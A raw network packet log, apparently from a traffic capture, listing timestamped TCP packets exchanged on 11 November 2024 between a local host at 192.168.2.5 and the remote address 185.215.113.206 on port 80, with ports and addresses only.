Nov 11, 2024 21:59:22.936511993 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936511993 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936522961 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936527014 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936534882 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936547995 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936559916 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936563015 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936570883 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936583042 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936602116 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936602116 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936615944 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936618090 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936630011 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936640024 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936659098 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936681986 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936733961 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936744928 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936758041 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936774969 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936779976 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936785936 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936798096 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936808109 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936809063 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936821938 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936822891 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936863899 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936888933 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936901093 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936912060 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936928988 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936942101 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936954975 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936963081 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936970949 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936981916 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.936985016 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.936994076 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937000036 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937011957 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937016010 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937035084 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937047005 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937227964 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937238932 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937249899 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937261105 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937271118 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937278986 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937290907 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937298059 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937304020 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937309980 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937311888 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937321901 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937334061 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937342882 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937345028 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937354088 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937365055 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937375069 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937376976 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937387943 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937388897 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937395096 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937401056 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937412024 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937412977 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937428951 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937433958 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937442064 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937453032 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937463045 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937463999 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937474966 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937480927 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937501907 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937527895 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937731028 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937742949 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937753916 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937764883 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937776089 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937777042 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937788010 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937798023 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937799931 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937812090 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937823057 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937834024 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937843084 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937843084 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937845945 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937855959 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937863111 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937875986 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937881947 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937887907 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937903881 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937908888 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937916040 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937922955 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937927008 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937937975 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937949896 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937954903 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937968969 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937979937 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937985897 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.937990904 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.937999964 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938003063 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938014984 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938019991 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938031912 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938041925 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938044071 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938050985 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938055038 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938066959 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938079119 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938081980 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938091040 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938103914 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938107014 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938122034 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938123941 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938133955 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938144922 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938148022 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938157082 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938168049 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938178062 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938184023 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938189983 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938195944 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938205957 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938206911 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938218117 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938230038 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938230991 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938241959 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938254118 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938256979 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938265085 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938272953 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938299894 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938447952 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938621044 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938632011 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938647032 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938658953 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938661098 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938673019 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938679934 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938685894 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938694000 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938697100 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938708067 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938719988 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938731909 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938743114 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938744068 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938752890 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938760996 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938762903 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938776016 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938777924 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938787937 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938798904 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938802004 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938811064 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938819885 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938822031 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938828945 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938833952 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938844919 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938844919 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938857079 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938868046 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938879967 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938885927 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938893080 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938900948 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938906908 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938911915 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938919067 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938929081 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938939095 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938941002 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938952923 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938963890 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938966036 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938978910 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938983917 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.938990116 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.938999891 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939002037 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939013958 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939024925 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939026117 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939037085 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939048052 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939053059 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939059019 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939065933 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939070940 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939080000 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939105034 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939426899 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939439058 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939562082 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939574957 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939585924 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939598083 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939603090 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939610004 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939620972 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939621925 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939635992 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939640999 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939647913 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939657927 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939659119 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939671040 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939682007 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939687967 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939701080 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939711094 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939712048 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939723969 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939737082 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939738989 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939755917 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939755917 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939766884 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939779043 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939779043 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939790964 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939804077 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939807892 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939821959 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939822912 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939834118 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939843893 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939846039 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939857960 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939871073 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939873934 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939882040 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939893007 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939894915 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939907074 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939910889 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939922094 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939934015 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939939976 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939945936 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939956903 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939969063 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939969063 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.939980030 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.939990997 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940001011 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940002918 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940001011 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940016031 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940028906 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940032959 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940041065 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940052986 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940054893 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940063953 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940076113 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940079927 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940099001 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940190077 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940320969 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940332890 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940342903 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940370083 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940395117 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940457106 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940468073 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940479040 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940494061 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940511942 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940512896 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940525055 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940531015 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940536022 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940547943 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940557957 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940558910 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940570116 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940582037 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940582037 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940593958 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940603018 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940610886 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940618038 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940623999 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940635920 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940643072 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940646887 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940660954 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940671921 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940671921 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940684080 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940689087 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940696001 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940706968 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940718889 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940730095 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940731049 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940736055 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940741062 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940757036 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940757990 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940769911 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940781116 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940781116 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940793991 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940804005 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940805912 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940819979 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940824032 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940831900 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940841913 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940844059 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940855026 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940865993 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940869093 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940876961 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940887928 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.940891027 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.940900087 CET	80	58697	185.215.113.206	192.168.2.5
